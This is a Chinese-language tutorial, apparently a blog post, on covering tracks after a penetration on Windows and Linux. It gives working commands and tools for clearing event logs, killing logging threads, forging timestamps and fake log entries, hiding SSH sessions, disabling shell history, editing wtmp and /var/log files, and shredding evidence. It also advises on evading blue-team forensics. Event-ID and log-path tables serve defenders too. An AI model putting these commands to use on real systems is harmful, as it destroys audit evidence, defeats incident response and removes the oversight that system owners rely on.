后渗透痕迹清理:攻防对抗中的隐身术

一、痕迹清理概述

1.1 什么是痕迹清理?

痕迹清理是抹除或替换渗透测试过程中遗留的操作痕迹。通常发生在:

  • 后渗透阶段(权限维持、横向移动之后)

  • 渗透目标达成时(准备撤出)

  • 为了方便长期隐秘渗透而进行的周期性清理

1.2 发生场景

  • 内网渗透(最常见)

  • Web 后门操作

1.3 痕迹清理的目的

为下一步渗透测试拖延时间提高隐蔽性

1.4 为什么是这个目的?

所有痕迹清理都不是绝对的,与计算机有接触就一定会留下痕迹 。特别地,第三方日志平台(SIEM、ELK)对攻击者基本无解------已转发的日志无法删除。

1.5 核心原则

痕迹清理是伴随渗透测试过程的(边渗透边清理),而不是渗透完成之后。


二、Windows 痕迹清理

2.1 Windows 日志记录机制

  • svchost.exe:Windows 自带进程,运行时启动专门记录日志的线程。

  • 内存堆:操作先缓存为内存内容。

  • XML 解析wevtutil.exe 将内存内容转为 XML。

  • 日志文件:最终转为可读的事件日志(时间、地点、用户、操作)。

Windows 日志存放路径:计算机 → 管理 → 事件查看器

2.2 事件日志文件类型(完整表)

类别 类型 描述 文件名
Windows 日志 系统 系统进程、设备磁盘活动、驱动失败、重复 IP、系统启停等 System.evtx
Windows 日志 安全 用户权限变更、登录注销、文件/文件夹访问、打印等 Security.evtx
Windows 日志 应用程序 操作系统安装的应用程序事件(错误、警告等) Application.evtx
Windows 日志 Setup 操作系统更新相关 Setup.evtx
Windows 日志 Forwarded Events DNS 等服务的转入转出日志 ForwardedEvents.evtx
应用及服务日志 Microsoft 200+ 微软内置日志分类(远程桌面、无线网络、设备安装等) 详见目录
应用及服务日志 Microsoft Office Alerts Word/Excel/PowerPoint 警告信息(含文件名、路径) OAerts.evtx
应用及服务日志 Windows PowerShell PowerShell 操作日志 Windows Powersh.evtx
应用及服务日志 Internet Explorer IE 浏览器日志(默认未启用) InternetExplorer.evtx
应用及服务日志 OpenSSH SSH 连接日志 对应文件
应用及服务日志 Visual Studio VS 相关日志 对应文件

2.3 常见安全事件 ID(蓝队应急响应必知)

事件 ID 含义 说明
1074 系统即将关闭 正常或强制关机
6005 系统启动 开机事件
6006 系统关闭 正常关机
4624 成功登录 本地或远程登录成功
4625 登录失败 密码错误或账号锁定
4634 用户注销 会话结束
4647 用户锁定工作站 Win+L
4648 用户解锁工作站 输入密码解锁
4657 修改文件/文件夹权限 权限变更审计
4663 尝试访问文件/文件夹 敏感文件读取
4688 新进程创建 执行程序(含恶意软件)
4697 安装或卸载服务 持久化行为

2.4 常见的任务类别

  • 帐户登录:用户登录和注销

  • 登录:登录到系统的事件

  • 对象访问:文件、注册表项访问

  • 目录服务访问:Active Directory 对象访问

  • 进程追踪:进程创建与终止

  • 特权使用:特权操作的使用

  • 帐户管理:用户/组账户创建、删除、修改

  • 策略变更:本地或域策略更改

  • 系统事件:系统启动、关闭及其他级别事件

2.5 事件属性示例

plaintext

复制代码
日志名称: 应用程序
来源: vmAuthd
事件 ID: 1000
级别: 警告
用户: 暂缺
操作代码: 信息
描述: SSLConfigLoad: Failed to load OpenSSL config file.

2.6 清理用户操作痕迹

⚠️ 注意 :清理操作本身也会产生新日志,因此完全清除痕迹基本不可能

2.7 清理 3389 远程桌面痕迹

文件痕迹
复制代码
text

%userprofile%\Documents\Default.rdp
复制代码
注册表痕迹(包含连接目标及可能缓存的密码)
复制代码
text

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Terminal Server Client\
复制代码

可以使用批处理脚本删除上述文件及注册表项。

2.8 日志文件存储路径与注册表控制

日志文件路径
复制代码
  系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx

  安全日志:%SystemRoot%\System32\Winevt\Logs\Security.evtx

  应用程序日志:%SystemRoot%\System32\Winevt\Logs\Application.evtx

⚠️ 不可全部删除,目录内含有系统运行配置文件,删除可能导致系统崩溃。

日志在注册表中的键(高级控制)
复制代码
text

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog
复制代码

该键下详细记录了日志产生过程及调用的程序模块。如果有注册表写入权限,可以更改调用模块(例如替换 DLL 路径),从而阻止特定日志生成------比事后清理更隐蔽。

2.9 日志清理方法对照表

方法 命令 / 操作 适用场景
手动 事件查看器 → 右键日志 → 清除日志 少量清理
CMD wevtutil cl system 批量清理
PowerShell `Get-WinEvent -ListLog ... %{Wevtutil.exe cl $_.Logname}`
MSF meterpreter> cleav 后渗透模块
CS 相关插件(未详述) Cobalt Strike
详细命令
复制代码
cmd

# 列出所有日志名称
wevtutil el

# 清理系统日志
wevtutil cl system

# 清理应用程序日志
wevtutil cl application

# 清理安全日志
wevtutil cl security
复制代码
复制代码
powershell

# PowerShell 批量清理
Get-WinEvent -ListLog Application, Setup, Security -Force | %{Wevtutil.exe cl $_.Logname}
复制代码

2.10 最近文件的清理

上传的脚本或文件即使删除,仍会在 "最近使用的文件" 中留下记录,路径为:

复制代码
text

%userprofile%\Recent\
复制代码

该目录默认只保留最近 20 个文件。

清理命令
复制代码
cmd

del /f /s /q "%userprofile%\Recent\*.*"
# 查看最近文件
%userprofile%\recent\
复制代码

2.11 覆写删除(防止恢复)

复制代码
cmd

# 覆写单个文件所在盘的空闲空间(三次随机写入)
cipher /w:C:\test

# 格式化整个盘符,并覆写3次
format D: /P:3
复制代码

2.12 停止日志产生的高级工具

① Invoke‑Phantom(PowerShell)
  • 项目地址:https://github.com/hlldz/Invoke-Phantom

  • 原理:枚举并杀死 svchost.exe 中的日志记录线程。

  • 缺点:恢复日志功能必须重启系统。

    powershell

    Import-Module .\Invoke-Phantom.ps1
    Invoke-Phantom

复制代码
② EventCleaner(C++,强烈推荐)
复制代码

2.13 伪造时间痕迹

伪造文件时间戳(PowerShell 脚本)
复制代码
powershell

Function edit_time($path) {
    $date1 = Get-ChildItem | Select-Object -ExpandProperty LastWriteTime | Get-Random
    $date2 = Get-ChildItem | Select-Object -ExpandProperty LastWriteTime | Get-Random
    $date3 = Get-ChildItem | Select-Object -ExpandProperty LastWriteTime | Get-Random
    (Get-Item $path).LastAccessTime = $date1
    (Get-Item $path).CreationTime = $date2
    (Get-Item $path).LastWriteTime = $date3
}
edit_time "C:\test"
复制代码

该脚本随机修改:LastAccessTime (最后访问)、CreationTime (创建时间)、LastWriteTime(最后写入)。

伪造系统日志(微软自带 eventcreate
复制代码
cmd

eventcreate -l system -so administrator -t warning -d "this is a test" -id 500
-l system:写入系统日志

-so:指定来源(谁生成的日志)

-t warning:事件类型

-d:事件描述

-id 500:事件 ID

三、Linux 痕迹清理

Linux 痕迹清理技术分为两类:

  1. 清理登录记录与 Host 记录

  2. 清理日志文件

3.1 隐藏远程 SSH 登录记录

复制代码
bash

# 不被 w、who、last 检测到
ssh -T root@xxx.xxx.xxx.xxx /bin/bash -i

# 同时不记录 SSH 公钥到本地 .ssh 目录
ssh -o UserKnownHostsFile=/dev/null -T root@xxx.xxx.xxx.xxx /bin/bash -i
-o UserKnownHostsFile=/dev/null:将已知主机密钥文件指向空设备,所有写入被丢弃。

3.2 History 历史命令清理

History 运行原理
全部删除历史记录
复制代码
bash

history -c          # 清空当前会话内存记录(伪删除)
history -w          # 用空内容覆盖 ~/.bash_history
复制代码
删除指定命令
复制代码
bash

history | grep "keyword"   # 找到行号
history -d <num>           # 删除指定行
# 批量删除,只保留前15行
sed -i '15,$d' .bash_history
复制代码
当前 Shell 终止历史记录

方法一

复制代码
bash

set +o history   # 禁用记录
set -o history   # 恢复
复制代码

方法二

复制代码
bash

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTLOG
复制代码
禁用 History 的三种方法
方法 操作 作用范围
1 /etc/profile 添加 HISTSIZE=0source /etc/profile 全局,新会话生效
2 HISTSIZE=0 && HISTFILESIZE=0 当前 Shell 立即生效
3 ~/.bashrc 添加 HISTSIZE=0HISTFILESIZE=0 每次开启 Shell 生效

3.3 Linux 日志文件完整清单

文件路径 记录内容 查看命令
/var/log/lastlog 每个用户最后一次登录信息 lastlog
/var/log/utmp 当前登录用户信息 w, who
/var/log/wtmp 所有登录/注销历史(二进制) last
/var/log/btmp 失败登录尝试(二进制) lastb
/var/log/secure 认证相关事件(登录、sudo、密码更改) cat
/var/log/messages 通用系统日志(RHEL 系) cat
/var/log/syslog 系统汇总日志(Debian 系) cat
/var/log/maillog 邮件服务器日志 cat
/var/log/faillog 失败登录尝试(旧格式) faillog
/var/log/cron 计划任务日志 cat
/var/log/daemon.log 守护进程日志(cron、sshd 等) cat
/var/log/yum.log Yum 软件包管理日志 cat
/var/log/httpd/ Apache 访问/错误日志 cat
/var/log/nginx/ Nginx 访问/错误日志 cat

3.4 清除日志信息

清空特定日志(暴力)
复制代码
bash

echo > /var/log/lastlog
echo > /var/log/utmp
cat /dev/null > /var/log/secure
cat /dev/null > /var/log/messages
复制代码
日志全部删除(不推荐,特征明显)
复制代码
bash

cat /dev/null > filename
: > filename
> filename
echo " " > filename
echo > filename
复制代码
针对性修改/删除(推荐,动作小)

使用 sed

复制代码
bash

# 替换字符串
sed -i 's/旧字符串/新字符串/g' /var/log/secure

# 删除包含关键字的行
sed -i '/要删除的关键字/d' /var/log/secure
复制代码

使用 grep -v

复制代码
bash

cat 目标文件 | grep -v 关键字 > 篡改后文件
cat 篡改后文件 > 目标文件
复制代码

示例:

复制代码
bash

cat error.log.1 | grep -v 'caught SIGTERM, shutting down' > test.log
cat test.log > error.log.1
复制代码

3.5 二进制日志文件修改(wtmp / btmp)

复制代码
bash

# 转为文本
utmpdump /var/log/wtmp > /var/log/wtmp.txt

# 编辑(例如替换 IP 或时间)
vim /var/log/wtmp.txt
:%s/10.0.0.1/192.168.5.5/g

# 转回二进制并覆盖
utmpdump -r < /var/log/wtmp.txt > /var/log/wtmp
rm /var/log/wtmp.txt
复制代码

3.6 覆写删除(防止恢复)

复制代码
bash

shred -f -u -z -v -n 6 目标文件
-n 6:覆盖 6 次(默认 3 次)

-z:最后一次用 0 覆盖,隐藏覆写动作

-u:覆盖后删除文件

-v:显示详细信息

3.7 时间戳伪造

查看时间戳
复制代码
bash

stat test.txt
复制代码

显示三个时间:

  • Access(最近访问)

  • Modify(最近修改)

  • Change(最近改动,不可直接修改)

修改 Access 和 Modify 时间
复制代码
bash

touch -a -d "2023-02-02 11:10:20.000235123" test.txt
touch -m -d "2023-02-02 12:10:20.010242137" test.txt
复制代码

-d 指定时间,点后为纳秒(随机填写避免全零)。

使用参考文件的时间戳
复制代码
bash

touch -r ~/.bashrc test.txt
复制代码
修改 Change 时间(间接方法)
复制代码
bash

# 1. 修改系统时间
date -s "20230201 16:43:53"
# 2. 操作文件(touch 或修改内容)
touch test.txt
# 3. 恢复硬件时间到系统
hwclock --hctosys
复制代码

3.8 Moonwalk 工具(Linux 日志清除神器)

Moonwalk 是 400KB 的单二进制可执行文件,可保存渗透前日志状态,渗透后恢复状态(含文件系统时间戳),不在 Shell 中留下痕迹。

特征

  • 小型可执行文件:快速 curl 获取

  • 快速:5 毫秒内执行所有会话命令

  • 侦察:找到全局可写路径(如 /dev/shm)并创建隐藏目录存储备份,会话结束自动删除

  • Shell 历史记录:恢复为调用前的状态

  • 文件系统时间戳:使用 get 命令恢复

安装

复制代码
bash

# 直接下载 release
curl -L https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_linux -o moonwalk
chmod +x moonwalk

# 或使用 cargo 编译(需 Rust)
cargo install --git https://github.com/mufeedvh/moonwalk.git
复制代码

用法

复制代码
bash

# 开始会话(备份日志状态)
./moonwalk start
# 输出示例:[INFO] Found '/dev/shm/.MOONWALK' as world writable.
#          [SUCCESS] Saved the current log states.

# 进行渗透操作...

# 结束会话(恢复日志,删除备份)
./moonwalk finish

# 恢复单个文件的时间戳(给出建议命令)
./moonwalk get test.txt
# 输出:$ touch -a -t 202501100841.36 -m -t 202501100839.14 test.txt
复制代码

3.9 其他工具:BleachBit


四、综合总结与注意事项

4.1 Windows vs Linux 清理方法对比

项目 Windows Linux
登录痕迹 RDP 注册表 + Default.rdp SSH 隐身登录参数(-T
历史命令 PowerShell Get-History .bash_history + history
日志查看 事件查看器 / wevtutil cat / less 日志文件
日志清理 wevtutil cl / clearev echo > / cat /dev/null >
针对性删除 手动或脚本(较难) sed / grep -v 方便
二进制日志 .evtx 可解析 utmpdump 转换
停止日志 EventCleaner 挂起线程 set +o history / unset HISTFILE
覆写删除 cipher / format /P shred
时间伪造 PowerShell 脚本 / eventcreate touch -a -m / date

4.2 推荐工具清单

工具 平台 功能 推荐度
EventCleaner Windows 挂起/恢复日志线程,无需重启 ⭐⭐⭐⭐⭐
Invoke-Phantom Windows 杀死日志线程(需重启) ⭐⭐⭐
wevtutil Windows 命令行清理日志 ⭐⭐⭐⭐
Moonwalk Linux 会话级日志备份与恢复 ⭐⭐⭐⭐⭐
shred Linux 覆写删除文件 ⭐⭐⭐⭐
utmpdump Linux 二进制日志转文本编辑 ⭐⭐⭐⭐
bleachbit 双平台 常规清理(非专用) ⭐⭐

4.3 核心原则与学习路径

重点内容
  1. 痕迹清理的目的

  2. Windows 痕迹记录的机制

  3. 事件查看器的使用及文件/注册表位置

学习路径
  • 蓝队排查技术

  • 安全软件工作原理

  • Windows 文件系统(难度大)

  • Windows 事件机制(难度大)

实战注意事项(原文逐条)
  1. 能单条指定删除就优先使用

    为最大化隐蔽性,能单条删除就不批量清空。

  2. 文件的删除尽量使用覆写的方式

    传统删除短时间内可恢复,覆写减少被复原机会。

  3. 伪造痕迹也很重要

    在某些场景下,伪造时间戳或插入假日志比直接删除更可靠。

  4. 删除指定记录真的很重要

    关闭进程记录看似有用,但在有经验的蓝队面前反而暴露攻击时间。删除自己需要的记录才是最实用。

  5. 网络隧道也是隐藏痕迹的一种方法

    端口转发、内网穿透等本质上就是连接痕迹的隐藏方式。

  6. 思考时间差

    评估蓝队的痕迹排查和电子取证能力,估算当前清理能争取到的时间窗口,为下一步行动做好时间规划。


最后提醒 :痕迹清理无法做到绝对隐身,与集中日志平台(SIEM/ELK)更是难以对抗。真正的隐身术在于 最小化操作 + 善用隧道 + 适度伪造 + 时间窗口控制

相关推荐
睡不醒男孩0308233 小时前
第五篇:2026年企业级 PostgreSQL 高可用方案深度横评:Patroni vs. CLup 架构与可靠性全面对决
数据库·postgresql·架构
NineData3 小时前
SQL 都在等锁时,ChatDBA 先帮 MySQL 找到谁在挡路
数据库·人工智能·sql·mysql·安全·数据复制·数据迁移工具
“初生”3 小时前
Codex 桌面端新会话 5 次 Reconnecting 怎么办?HTTP/SSE 完美修复方案(2026最新)
网络·网络协议·http
2601_961845153 小时前
考研网课资源网盘|2027|资料
数据库·vim·sublime text·figma·photoshop·墨刀·高考
m0_738120723 小时前
Docker 环境下 Vulfocus 靶场搭建全流程(附镜像源问题解决方案)
运维·服务器·网络·安全·docker·容器
Amnesia0_03 小时前
MYSQL复合查询和内外连接
数据库·mysql
Gauss松鼠会3 小时前
【GaussDB】GaussDB SMP特性调优详解
java·服务器·前端·数据库·sql·算法·gaussdb
AI数据皮皮侠3 小时前
全国高考报名、录取数据(1977-2026)
大数据·数据库·人工智能·python·机器学习·高考
爱讲故事的4 小时前
计算机网络第七章:无线与移动网络复习笔记
网络·笔记·计算机网络